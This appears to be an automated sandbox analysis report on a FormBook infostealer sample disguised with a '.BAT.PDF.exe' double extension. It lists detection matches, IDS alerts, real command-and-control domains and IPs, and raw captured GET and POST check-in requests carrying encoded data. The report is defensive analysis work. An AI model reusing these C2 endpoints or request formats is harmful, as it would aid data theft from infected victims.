Windows Analysis Report
PO-78140924.BAT.PDF.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3895831173.0000000000480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3897012807.0000000000D10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3897058690.0000000000D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2158074372.0000000003B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2157680976.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2158514500.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3897432800.0000000002360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: PO-78140924.BAT.PDF.exe

Joe Sandbox ML: detected

Source: PO-78140924.BAT.PDF.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: YKkstfciYBQ.exe, 00000003.00000000.2070305149.000000000077E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO-78140924.BAT.PDF.exe, 00000000.00000003.2042653624.0000000004540000.00000004.00001000.00020000.00000000.sdmp, PO-78140924.BAT.PDF.exe, 00000000.00000003.2041650984.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2046417159.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2048886154.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2158145354.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2158145354.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897347942.00000000044F0000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2170653792.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897347942.000000000468E000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2164958755.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PO-78140924.BAT.PDF.exe, 00000000.00000003.2042653624.0000000004540000.00000004.00001000.00020000.00000000.sdmp, PO-78140924.BAT.PDF.exe, 00000000.00000003.2041650984.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2046417159.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2048886154.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2158145354.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2158145354.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 00000004.00000002.3897347942.00000000044F0000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2170653792.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897347942.000000000468E000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2164958755.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdbGCTL source: svchost.exe, 00000002.00000003.2115002578.0000000007300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2115127900.0000000007500000.00000004.00000020.00020000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000003.2094204761.0000000003D42000.00000004.00000001.00020000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000003.2093852104.0000000003C02000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: YKkstfciYBQ.exe, 00000003.00000002.3899395542.0000000003EDC000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000004B1C000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000006.00000002.2459301249.000000003282C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: svchost.exe, 00000002.00000003.2115002578.0000000007300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2115127900.0000000007500000.00000004.00000020.00020000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000003.2094204761.0000000003D42000.00000004.00000001.00020000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000003.2093852104.0000000003C02000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: YKkstfciYBQ.exe, 00000003.00000002.3899395542.0000000003EDC000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000004B1C000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000006.00000002.2459301249.000000003282C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0007449B GetFileAttributesW,FindFirstFileW,FindClose,		0_2_0007449B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0049C460 FindFirstFileW,FindNextFileW,FindClose,		4_2_0049C460

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then xor eax, eax	4_2_00489C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then pop edi	4_2_0048E012
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4x nop then mov ebx, 00000004h	4_2_00E504DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49714 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49719 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49720 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49717 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49710 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49721 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49725 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49713 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49712 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49711 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49724 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49713 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49709 -> 81.88.63.46:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49709 -> 81.88.63.46:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49716 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49718 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49718 -> 172.96.187.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49732 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49741 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49739 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49738 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49739 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49727 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49731 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49727 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49746 -> 172.67.165.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49740 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49730 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49731 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49743 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49736 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49743 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49734 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49722 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49726 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49722 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49735 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49735 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49737 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49744 -> 172.67.165.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49733 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49728 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49742 -> 85.153.138.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49729 -> 103.248.137.209:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49745 -> 172.67.165.25:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.heldhold.xyz

Source: Joe Sandbox View	IP Address: 67.223.117.189 67.223.117.189
Source: Joe Sandbox View	IP Address: 217.70.184.50 217.70.184.50

Source: Joe Sandbox View	ASN Name: VIMRO-AS15189US VIMRO-AS15189US
Source: Joe Sandbox View	ASN Name: SINGLEHOP-LLCUS SINGLEHOP-LLCUS
Source: Joe Sandbox View	ASN Name: DNC-ASDimensionNetworkCommunicationLimitedHK DNC-ASDimensionNetworkCommunicationLimitedHK
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /a4ar/?vf5pwn=bigEPZ6XMKFUrjbkOOF/tc1QSeZpy4rj9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOCaAaQ3Lxux4SSFbsDgkYjgjAaiC5myZdzdYIguvdh1gvDg==&lHul=nfQTqL40vDEpIp30 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.2bhp.comConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8pln/?vf5pwn=T9/DtY4QstE2hf5N+QbDCp08BY0+/KIvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9qM2494p5Ur94ranWdRPLWWfdK4ZvNUpqMUToNubzG0SM8g==&lHul=nfQTqL40vDEpIp30 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.ultraleap.netConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /v2c3/?lHul=nfQTqL40vDEpIp30&vf5pwn=4KW7rJi8xQgG5JuhUUy4oHXtvgFnSuEzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxet5jRO5AJzixTprPi8JCHFDrvphN2mQYrYWI0Ljg/1k5GCA== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.dalong.siteConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /xamn/?vf5pwn=eI40u+kXl6dCNOxtOqaVh3t2St2MUXLKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR4W4fWnAv/fqpdm4W58wxIsvJOF8/cGdHH0QztCYqDUNhvQ==&lHul=nfQTqL40vDEpIp30 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mgeducacaopro.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /fava/?lHul=nfQTqL40vDEpIp30&vf5pwn=GCDZpLqdSYk7fT5BaAxVCvWfN8QL3LUdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQAngPiIKVJBW1l0NVsB5cz1lTXdEnKbnDfocvymGyGvQBrQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.heldhold.xyzConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5o7d/?vf5pwn=zMeRclQqEZ6cHEkv6r3h6rNdPeIv0NfXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGdsHlq0LOSSwDS14egmHnY5/1aPOe4+/4uS5IVfZSCCmkbAw==&lHul=nfQTqL40vDEpIp30 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.63582.photoConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /kt2f/?vf5pwn=3qIRfQl/AKdo1myXluGCiikgEIMzjkfYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfHO+i2Ne6X81cG7kNzDpu31X3NSjbrBV+9ESn2I73xzu4qQ==&lHul=nfQTqL40vDEpIp30 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.asiapartnars.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /al6z/?lHul=nfQTqL40vDEpIp30&vf5pwn=VRCNh0NW0GgzXjJ+E9kBcAqzCeGDRYuLK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cpu7tsWuW3JQaVwptT6evyL2oGhO/bgF+68v7eWhteCSlc6A== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.linkwave.cloudConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3lu7/?vf5pwn=nzWofdhWpyQTuQkAURoZiOuSpDDcsuZ4SJ26h7kwykQFM8AQx5IfrLSrYivs6QFJHI8FrKvcoPkOi5L1XFRCJcPncARSRGAtt0+HcJ3GcQEnXiNUfFJGdHJ4JUWSbdHV9w==&lHul=nfQTqL40vDEpIp30 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mfgarage.netConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.2bhp.com
Source: global traffic	DNS traffic detected: DNS query: www.ultraleap.net
Source: global traffic	DNS traffic detected: DNS query: www.dalong.site
Source: global traffic	DNS traffic detected: DNS query: www.mgeducacaopro.online
Source: global traffic	DNS traffic detected: DNS query: www.heldhold.xyz
Source: global traffic	DNS traffic detected: DNS query: www.63582.photo
Source: global traffic	DNS traffic detected: DNS query: www.useanecdotenow.tech
Source: global traffic	DNS traffic detected: DNS query: www.asiapartnars.online
Source: global traffic	DNS traffic detected: DNS query: www.linkwave.cloud
Source: global traffic	DNS traffic detected: DNS query: www.mfgarage.net
Source: global traffic	DNS traffic detected: DNS query: www.b5x7vk.agency

Source: unknown

HTTP traffic detected: POST /8pln/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateHost: www.ultraleap.netOrigin: http://www.ultraleap.netContent-Length: 207Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheConnection: closeReferer: http://www.ultraleap.net/8pln/User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36Data Raw: 76 66 35 70 77 6e 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 34 36 70 41 31 52 66 4e 51 72 73 6b 61 4b 4d 33 35 76 51 7a 47 57 52 74 63 31 66 38 33 30 62 31 4a 32 38 54 46 74 63 79 2b 44 4e 50 4c 41 73 55 63 6f 4e 74 50 70 6e 76 58 68 6d 33 72 38 48 6b 4b 75 77 70 76 39 69 48 6f 37 6a 45 77 70 42 4e 61 49 78 51 76 36 4f 4b 59 53 36 7a 5a 32 50 51 61 72 4d 72 4d 43 34 36 48 6b 76 6b 49 63 47 36 46 6e 6e 43 68 55 32 55 4c 69 43 57 57 52 4a 79 36 78 45 50 35 46 42 39 4b 76 44 46 72 55 6d 70 2b 51 72 33 6a 4d 66 38 65 42 46 34 4c 75 4c 65 52 6b 6f 73 31 75 4a 4b 65 37 72 63 49 42 2f 4e 63 6e 4d 55 43 79 56 65 59 41 73 3d Data Ascii: vf5pwn=e/XjuvFYh54w46pA1RfNQrskaKM35vQzGWRtc1f830b1J28TFtcy+DNPLAsUcoNtPpnvXhm3r8HkKuwpv9iHo7jEwpBNaIxQv6OKYS6zZ2PQarMrMC46HkvkIcG6FnnChU2ULiCWWRJy6xEP5FB9KvDFrUmp+Qr3jMf8eBF4LuLeRkos1uJKe7rcIB/NcnMUCyVeYAs=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 26 Sep 2024 13:22:25 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 34 61 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /a4ar/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Thu, 26 Sep 2024 13:22:54 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: 